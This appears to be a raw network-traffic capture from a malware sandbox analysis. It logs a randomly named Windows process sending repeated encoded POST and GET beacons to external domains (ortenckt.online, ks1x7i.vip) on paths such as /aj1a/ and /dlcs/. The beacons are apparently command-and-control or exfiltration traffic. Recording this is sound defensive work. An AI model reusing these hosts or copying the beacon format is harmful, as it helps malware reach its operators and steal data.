6e 61 67 65 72 2e 6e 65 74 22 3e 0d Data Ascii: b87f<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net">
Dec 13, 2024 07:39:16.122925997 CET	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 Data Ascii: <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in wi
Dec 13, 2024 07:39:16.122957945 CET	256	IN	Data Raw: 28 6a 29 7b 69 66 28 74 79 70 65 6f 66 28 6a 29 21 3d 22 62 6f 6f 6c 65 61 6e 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e 67 22 26 26 Data Ascii: (j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="languages"
Dec 13, 2024 07:39:16.122994900 CET	1236	IN	Data Raw: 6e 61 76 69 67 61 74 6f 72 2e 6c 61 6e 67 75 61 67 65 73 3a 5b 5d 3b 69 66 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d 70 6c 61 6e 67 3d 22 29 21 3d 2d 31 29 7b 63 2e 70 75 73 68 28 66 2e 73 75 62 73 74 72 28 66 2e 69 6e 64 65 78 4f 66 28 22 63 6d Data Ascii: navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.push(e.substr(e.indexOf("cmplang=")+8,2).toUpperCase())}else{if("cmp_setlang" in window&&window
Dec 13, 2024 07:39:16.123029947 CET	1236	IN	Data Raw: 64 65 78 4f 66 28 69 29 2b 73 2c 39 39 39 39 29 7d 65 6c 73 65 7b 69 66 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 28 64 2e 73 65 61 72 63 68 2e 69 6e 64 65 78 Data Ascii: dexOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.indexOf("&"))}return w}var k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:
Dec 13, 2024 07:39:16.123064041 CET	1236	IN	Data Raw: 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 76 61 72 20 74 3d 76 28 22 62 6f 64 79 22 29 3b 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 64 69 76 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b Data Ascii: dy.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}if(t.length==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebu
Dec 13, 2024 07:39:16.123106956 CET	1236	IN	Data Raw: 65 6e 74 69 6f 6e 61 6c 6c 79 20 68 69 64 64 65 6e 2c 20 70 6c 65 61 73 65 20 69 67 6e 6f 72 65 22 29 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6e 6f 6e 65 22 29 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 Data Ascii: entionally hidden, please ignore");a.setAttribute("role","none");a.setAttribute("tabindex","-1");document.body.appendChild(a)}else{window.setTimeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;
Dec 13, 2024 07:39:16.123142004 CET	1236	IN	Data Raw: 74 75 73 3a 22 73 74 75 62 22 2c 63 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 3a 22 68 69 64 64 65 6e 22 2c 73 75 70 70 6f 72 74 65 64 41 50 49 73 3a 5b 22 74 63 66 63 61 22 2c 22 75 73 6e 61 74 22 2c 22 75 73 63 61 22 2c 22 75 73 76 61 22 2c Data Ascii: tus:"stub",cmpDisplayStatus:"hidden",supportedAPIs:["tcfca","usnat","usca","usva","usco","usut","usct"],cmpId:31}};window.cmp_gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:
Dec 13, 2024 07:39:16.123178959 CET	1236	IN	Data Raw: 43 61 6c 6c 22 20 69 6e 20 63 29 7b 76 61 72 20 62 3d 63 2e 5f 5f 63 6d 70 43 61 6c 6c 3b 77 69 6e 64 6f 77 2e 5f 5f 63 6d 70 28 62 2e 63 6f 6d 6d 61 6e 64 2c 62 2e 70 61 72 61 6d 65 74 65 72 2c 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 Data Ascii: Call" in c){var b=c.__cmpCall;window.__cmp(b.command,b.parameter,function(h,g){var e={__cmpReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in
Dec 13, 2024 07:39:16.123214960 CET	1236	IN	Data Raw: 67 65 22 2c 77 69 6e 64 6f 77 2e 63 6d 70 5f 6d 73 67 68 61 6e 64 6c 65 72 2c 66 61 6c 73 65 29 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 47 70 70 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 20 77 69 6e Data Ascii: ge",window.cmp_msghandler,false)}};window.cmp_setGppStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a]
Dec 13, 2024 07:39:16.243062973 CET	1236	IN	Data Raw: 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 Data Ascii: tect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://www.inastra.online/sk-logabpstatus.php?a=cnFIZW9kT0QyVnhpVkJHdHZlNEo3VGRsdm9TUVQ4bW5mWXMyTkV1eU9kQ2NITm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49851	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:32.282746077 CET	813	OUT	POST /aj1a/ HTTP/1.1 Host: www.ortenckt.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.ortenckt.online Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Referer: http://www.ortenckt.online/aj1a/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 5a 70 63 35 56 46 39 37 30 4a 47 76 53 37 6a 4f 75 44 6e 66 50 31 6c 62 65 58 46 4e 33 52 77 31 4a 71 6f 41 54 31 76 78 76 68 42 46 31 74 45 7a 6f 4a 36 43 38 57 6e 58 55 67 2f 32 49 34 54 78 2f 68 46 39 34 63 4c 70 78 47 75 6c 68 53 4a 36 63 43 2b 61 55 65 4e 71 32 79 4b 6d 79 47 54 4e 4d 36 6f 39 56 2b 57 2b 74 52 4b 6a 31 55 4f 57 6e 65 6d 44 53 71 36 4e 70 4c 33 33 64 41 49 39 62 4e 67 73 49 33 4f 58 36 77 48 70 71 31 4d 79 34 6c 51 72 67 69 6e 63 2b 58 4b 32 61 65 72 6c 64 65 71 7a 4f 48 74 64 39 6d 63 2f 32 4f 52 77 46 61 63 58 52 35 64 45 6b 4a 5a 53 52 48 6a 6b 66 69 52 76 59 54 45 3d Data Ascii: Vp=Zpc5VF970JGvS7jOuDnfP1lbeXFN3Rw1JqoAT1vxvhBF1tEzoJ6C8WnXUg/2I4Tx/hF94cLpxGulhSJ6cC+aUeNq2yKmyGTNM6o9V+W+tRKj1UOWnemDSq6NpL33dAI9bNgsI3OX6wHpq1My4lQrginc+XK2aerldeqzOHtd9mc/2ORwFacXR5dEkJZSRHjkfiRvYTE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49861	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:34.945873022 CET	833	OUT	POST /aj1a/ HTTP/1.1 Host: www.ortenckt.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.ortenckt.online Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Referer: http://www.ortenckt.online/aj1a/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 5a 70 63 35 56 46 39 37 30 4a 47 76 53 61 7a 4f 39 53 6e 66 61 6c 6c 59 43 48 46 4e 75 42 77 78 4a 71 73 41 54 30 72 68 76 33 35 46 32 4a 41 7a 70 49 36 43 70 57 6e 58 62 41 2b 39 48 59 54 36 2f 67 35 50 34 5a 6a 70 78 48 4b 6c 68 51 52 36 63 31 71 56 56 4f 4e 6f 6a 43 4c 67 76 57 54 4e 4d 36 6f 39 56 2f 6d 59 74 52 53 6a 30 6b 2b 57 6d 37 61 41 62 4b 36 4b 75 4c 33 33 5a 41 4a 56 62 4e 68 37 49 31 71 74 36 7a 7a 70 71 78 45 79 35 77 6b 71 35 53 6e 57 67 58 4c 2f 4a 66 47 38 64 4e 43 74 53 67 63 69 6c 32 4d 33 7a 34 38 61 66 34 55 2f 43 5a 78 38 30 61 52 6c 41 33 43 4e 46 42 42 66 47 45 52 41 37 6c 71 69 42 59 4b 76 53 77 68 45 71 4f 75 6d 77 4b 48 53 Data Ascii: Vp=Zpc5VF970JGvSazO9SnfallYCHFNuBwxJqsAT0rhv35F2JAzpI6CpWnXbA+9HYT6/g5P4ZjpxHKlhQR6c1qVVONojCLgvWTNM6o9V/mYtRSj0k+Wm7aAbK6KuL33ZAJVbNh7I1qt6zzpqxEy5wkq5SnWgXL/JfG8dNCtSgcil2M3z48af4U/CZx80aRlA3CNFBBfGERA7lqiBYKvSwhEqOumwKHS
Dec 13, 2024 07:39:36.030731916 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49868	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:37.621149063 CET	1850	OUT	POST /aj1a/ HTTP/1.1 Host: www.ortenckt.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.ortenckt.online Connection: close Cache-Control: no-cache Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Referer: http://www.ortenckt.online/aj1a/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 5a 70 63 35 56 46 39 37 30 4a 47 76 53 61 7a 4f 39 53 6e 66 61 6c 6c 59 43 48 46 4e 75 42 77 78 4a 71 73 41 54 30 72 68 76 33 78 46 32 36 49 7a 6f 76 47 43 76 6d 6e 58 53 67 2b 2b 48 59 54 64 2f 68 51 47 34 5a 6d 63 78 45 69 6c 67 7a 5a 36 55 67 47 56 66 4f 4e 6f 38 53 4c 77 79 47 54 59 4d 36 59 35 56 2f 57 59 74 52 53 6a 30 69 79 57 6d 75 6d 41 5a 4b 36 4e 70 4c 33 7a 64 41 4a 75 62 4a 46 72 49 31 76 53 36 46 44 70 72 52 55 79 2b 43 38 71 6d 69 6e 59 30 33 4c 6e 4a 66 4b 5a 64 4d 75 68 53 6c 67 59 6c 30 73 33 79 66 39 2f 46 49 55 32 57 71 39 65 6d 6f 31 64 58 67 71 51 62 58 59 6f 47 58 30 6c 79 31 6a 4a 4d 50 43 56 52 67 63 36 2b 49 57 49 31 4d 57 6e 6e 65 63 52 66 2f 79 49 55 65 67 57 69 31 64 43 2b 42 36 2f 46 48 34 47 36 4f 77 6b 7a 34 41 56 54 6e 57 42 51 4f 66 55 4e 6e 36 56 4d 73 66 32 43 39 6e 79 39 6b 68 31 38 69 64 31 52 50 43 58 76 44 48 48 42 74 74 72 6f 53 52 32 49 68 52 35 39 31 71 56 50 74 65 63 72 78 32 62 53 4e 6f 57 58 6b 4e 55 65 79 4c 58 78 79 50 75 6b 69 46 53 59 53 43 [TRUNCATED] Data Ascii: Vp=Zpc5VF970JGvSazO9SnfallYCHFNuBwxJqsAT0rhv3xF26IzovGCvmnXSg++HYTd/hQG4ZmcxEilgzZ6UgGVfONo8SLwyGTYM6Y5V/WYtRSj0iyWmumAZK6NpL3zdAJubJFrI1vS6FDprRUy+C8qminY03LnJfKZdMuhSlgYl0s3yf9/FIU2Wq9emo1dXgqQbXYoGX0ly1jJMPCVRgc6+IWI1MWnnecRf/yIUegWi1dC+B6/FH4G6Owkz4AVTnWBQOfUNn6VMsf2C9ny9kh18id1RPCXvDHHBttroSR2IhR591qVPtecrx2bSNoWXkNUeyLXxyPukiFSYSCOEj+cfF2OedDGohF3ii7aFvxQ6EK4IOH/bTEhbsRkr2B1P/egYXmH6FKW3DdAa+0BtnllgyFpSPO7FVC+5Skz4evP8QDqK9n/UbEKYPp2/6AMJq4OD2yxA8SfXt5dK2xpdmrqIidUDObIc34gbya3/aO/1EMR9l+umiWTLscwI7IQEYDfnPWoQ2wm29LdXdV7SgVEG5uONs9Il4//dywPmnYDKuvepa0tGoTEaxTzmDcQCH4hC1un1xyWKa/juh2YZTtXhSiIunm7ynNkeUhGue2F9cJuTB6EPXY3SJT4+F2mu7KYBxwp/HGjWvsZIjhdf4S1iGlDdpN2hRjGtfSitJNBm+ZPA7P/JuE42cLmS/oYPDjeaq7iZFD1GNATjBmye4nJMfvM40nz7v1PXqCXS5n6+H/5wy2pxhJpnLDtnVSjwU9voflPi84efH0NEn18sfChxXMw1dJTZs6Qz0koP1D+Fa+cqK5uUWpyTYKjKeInIgRFqoU6zBajgaalgnceVIfBa4oi4H6Mk6iDHUQoqu7zz/gAivgfx7RsnOKnc0e24xZo02IxvLcx+UW+Ttw+82nOQ9OPPlB9he7Gs+IajPnYASqxa2/UYMUync0/qJfKZfaTtVC+xPLhhMInIaYlpPyO2eB1TysxybutR9nVWeNLXtL7lbzz1 [TRUNCATED]
Dec 13, 2024 07:39:38.695035934 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49874	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:40.409362078 CET	551	OUT	GET /aj1a/?Vp=Ur0ZWyFT8OiEfJLk5CDxNCd7dngJ/nUOC6gmTkbLwRlGrqwEpeuL3mntSz3wGsXywBh/uITd5DD6tXUqWwiKRulf6Fi9+BH5MaMcCr6H0zaDwVKxvI7eerOQmaahTyI3Ow==&4j6=34T0Mpup0HM HTTP/1.1 Host: www.ortenckt.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 13, 2024 07:39:41.504631996 CET	387	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 13 Dec 2024 06:39:41 GMT content-length: 266 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 56 70 3d 55 72 30 5a 57 79 46 54 38 4f 69 45 66 4a 4c 6b 35 43 44 78 4e 43 64 37 64 6e 67 4a 2f 6e 55 4f 43 36 67 6d 54 6b 62 4c 77 52 6c 47 72 71 77 45 70 65 75 4c 33 6d 6e 74 53 7a 33 77 47 73 58 79 77 42 68 2f 75 49 54 64 35 44 44 36 74 58 55 71 57 77 69 4b 52 75 6c 66 36 46 69 39 2b 42 48 35 4d 61 4d 63 43 72 36 48 30 7a 61 44 77 56 4b 78 76 49 37 65 65 72 4f 51 6d 61 61 68 54 79 49 33 4f 77 3d 3d 26 34 6a 36 3d 33 34 54 30 4d 70 75 70 30 48 4d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Vp=Ur0ZWyFT8OiEfJLk5CDxNCd7dngJ/nUOC6gmTkbLwRlGrqwEpeuL3mntSz3wGsXywBh/uITd5DD6tXUqWwiKRulf6Fi9+BH5MaMcCr6H0zaDwVKxvI7eerOQmaahTyI3Ow==&4j6=34T0Mpup0HM"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49890	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:47.284142971 CET	798	OUT	POST /dlcs/ HTTP/1.1 Host: www.ks1x7i.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.ks1x7i.vip Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Referer: http://www.ks1x7i.vip/dlcs/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 39 34 34 43 44 6f 66 2b 4b 41 72 4d 35 70 4c 54 43 47 34 34 76 67 72 6f 54 6e 47 2f 75 4d 62 6e 70 70 51 48 74 55 49 32 64 68 65 49 57 4d 7a 2f 4f 49 30 68 64 2b 4e 53 4f 75 65 74 6e 79 77 38 69 4f 6e 4e 6a 65 51 38 55 71 52 54 7a 31 62 7a 2b 33 2b 43 50 76 49 76 36 31 52 2b 67 39 75 71 38 63 62 64 46 2b 2f 77 46 75 59 2b 2b 79 2b 37 48 4b 47 71 4c 78 62 2b 6f 4e 48 37 33 33 78 65 57 66 78 64 73 39 53 57 67 57 54 36 35 6b 4d 44 36 77 4c 38 30 76 50 39 39 53 55 70 6c 36 58 62 74 4b 65 63 39 50 50 4b 5a 69 58 2f 68 65 6e 6c 66 64 59 4b 42 6f 54 72 2b 73 57 4a 69 47 37 6b 41 4a 50 78 76 52 73 3d Data Ascii: Vp=944CDof+KArM5pLTCG44vgroTnG/uMbnppQHtUI2dheIWMz/OI0hd+NSOuetnyw8iOnNjeQ8UqRTz1bz+3+CPvIv61R+g9uq8cbdF+/wFuY++y+7HKGqLxb+oNH733xeWfxds9SWgWT65kMD6wL80vP99SUpl6XbtKec9PPKZiX/henlfdYKBoTr+sWJiG7kAJPxvRs=
Dec 13, 2024 07:39:48.397506952 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49896	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:49.947902918 CET	818	OUT	POST /dlcs/ HTTP/1.1 Host: www.ks1x7i.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.ks1x7i.vip Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Referer: http://www.ks1x7i.vip/dlcs/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 39 34 34 43 44 6f 66 2b 4b 41 72 4d 36 49 37 54 4f 46 41 34 74 41 72 72 63 48 47 2f 6c 73 62 5a 70 70 63 48 74 56 4d 6d 64 53 32 49 52 73 44 2f 50 4d 41 68 51 65 4e 53 42 4f 65 53 71 53 77 33 69 4f 72 76 6a 66 73 38 55 71 46 54 7a 77 6e 7a 2b 41 4b 46 4d 66 49 74 79 56 52 67 2f 74 75 71 38 63 62 64 46 2b 36 74 46 75 67 2b 2b 69 69 37 56 37 47 70 43 52 62 2f 38 64 48 37 7a 33 77 56 57 66 78 72 73 35 79 6f 67 56 72 36 35 6c 51 44 39 69 6a 39 2f 76 4f 32 7a 79 56 4c 68 35 69 52 73 70 69 4f 2f 39 2b 66 50 6a 62 65 6b 6f 4b 50 46 2f 51 69 53 49 2f 54 75 2f 65 2b 7a 32 61 4e 61 71 66 42 78 47 34 53 6d 66 30 69 52 54 5a 79 2f 6a 64 33 55 59 73 58 37 65 35 47 Data Ascii: Vp=944CDof+KArM6I7TOFA4tArrcHG/lsbZppcHtVMmdS2IRsD/PMAhQeNSBOeSqSw3iOrvjfs8UqFTzwnz+AKFMfItyVRg/tuq8cbdF+6tFug++ii7V7GpCRb/8dH7z3wVWfxrs5yogVr65lQD9ij9/vO2zyVLh5iRspiO/9+fPjbekoKPF/QiSI/Tu/e+z2aNaqfBxG4Smf0iRTZy/jd3UYsX7e5G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49906	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:52.603598118 CET	1835	OUT	POST /dlcs/ HTTP/1.1 Host: www.ks1x7i.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.ks1x7i.vip Connection: close Cache-Control: no-cache Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Referer: http://www.ks1x7i.vip/dlcs/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 39 34 34 43 44 6f 66 2b 4b 41 72 4d 36 49 37 54 4f 46 41 34 74 41 72 72 63 48 47 2f 6c 73 62 5a 70 70 63 48 74 56 4d 6d 64 55 75 49 52 64 6a 2f 50 74 41 68 52 65 4e 53 4d 75 65 54 71 53 77 75 69 4f 6a 72 6a 66 68 48 55 70 39 54 79 56 72 7a 34 78 4b 46 58 76 49 74 77 56 52 68 67 39 75 46 38 64 72 5a 46 39 53 74 46 75 67 2b 2b 67 57 37 43 36 47 70 4f 78 62 2b 6f 4e 47 30 33 33 78 79 57 63 42 37 73 35 33 54 6a 6c 4c 36 2b 46 41 44 2f 52 4c 39 38 50 4f 30 77 79 56 74 68 35 2b 53 73 70 2b 43 2f 39 6e 58 50 6b 58 65 6b 76 37 50 64 74 73 6e 45 75 79 2f 39 4e 76 64 72 52 53 4b 55 70 62 72 31 30 67 43 76 64 45 55 53 6e 31 4b 36 43 34 66 57 5a 6b 44 39 62 35 49 73 76 56 55 79 50 36 38 36 63 2b 4d 43 64 6b 37 4c 51 41 6e 6c 48 6b 6e 54 34 4f 7a 56 4d 70 71 4c 58 4c 63 79 37 64 6f 55 50 4d 36 36 35 46 57 34 53 42 74 6b 6b 35 67 4e 4e 4b 4f 57 67 4a 41 31 6c 4a 4c 72 55 6f 43 56 46 4f 61 7a 2f 5a 65 42 51 4a 39 42 50 64 44 52 55 74 2b 37 52 66 4b 31 57 31 61 2f 6e 62 4c 6c 53 66 38 73 6e 46 79 75 37 35 [TRUNCATED] Data Ascii: Vp=944CDof+KArM6I7TOFA4tArrcHG/lsbZppcHtVMmdUuIRdj/PtAhReNSMueTqSwuiOjrjfhHUp9TyVrz4xKFXvItwVRhg9uF8drZF9StFug++gW7C6GpOxb+oNG033xyWcB7s53TjlL6+FAD/RL98PO0wyVth5+Ssp+C/9nXPkXekv7PdtsnEuy/9NvdrRSKUpbr10gCvdEUSn1K6C4fWZkD9b5IsvVUyP686c+MCdk7LQAnlHknT4OzVMpqLXLcy7doUPM665FW4SBtkk5gNNKOWgJA1lJLrUoCVFOaz/ZeBQJ9BPdDRUt+7RfK1W1a/nbLlSf8snFyu75U4fU46VgUDWl8tXBIk1l0N4V638oihOdXHVa5yZxuqBKFkbLARKiNHFxsVkek2uZtCYdDZ3p5OZF9mEtURfSF+2MvFEymgnyo+UMx0QgJUixn5RRfpjyyw8RrI9EB8T/uaJ57IpnjPIqWO9R5TL73vQ7FRoYy2nCzaQBCj0Jv/UHPcYoDZ6CWG/FNUjc+DteC6hsaE05fuWGRkt/T8z0K8DDJ60tADSIWUAJh4NznUTA3DM0Q3dSv/dyYE9SeIfcFXw4zyEY+7+ga9HIQZU8mbg0M5xgfmleydKpFM6y6FHq5hvChrPdEyqEzE4XCbU+l/VAgJp1aKFFIiUXT6noFucFaxc7sYQLRyP/mCUf+SK0Twcb1xxyF5ebv5cTZOrJRyCUkEKG/AgvwF94kwcFWOwoXMpUX+ZcagAasT1z7qSseIgJCFRYYOIk5LesNw9kmt1fn38P9eHTlWvSDk0JmUpQZShy0Mh8dnni71PQy+BS+b8xSTtjy8yyNRzrfLAhzKFT+g5KOBdDESiFzX8hQ5DuZjaeL7BSlK1+UoJdM1lomOcEXy3967/K8s1uVN3nzyzoM8KgIZUi73OrKu+j3s2XE5KOYe+VBRBAvq8X3k6iZwXrrmE2ssdOrIYOMX+WTDwW2k+VEVUxBNgHLhTspCIN89fVSCwOMf [TRUNCATED]
Dec 13, 2024 07:39:53.685857058 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
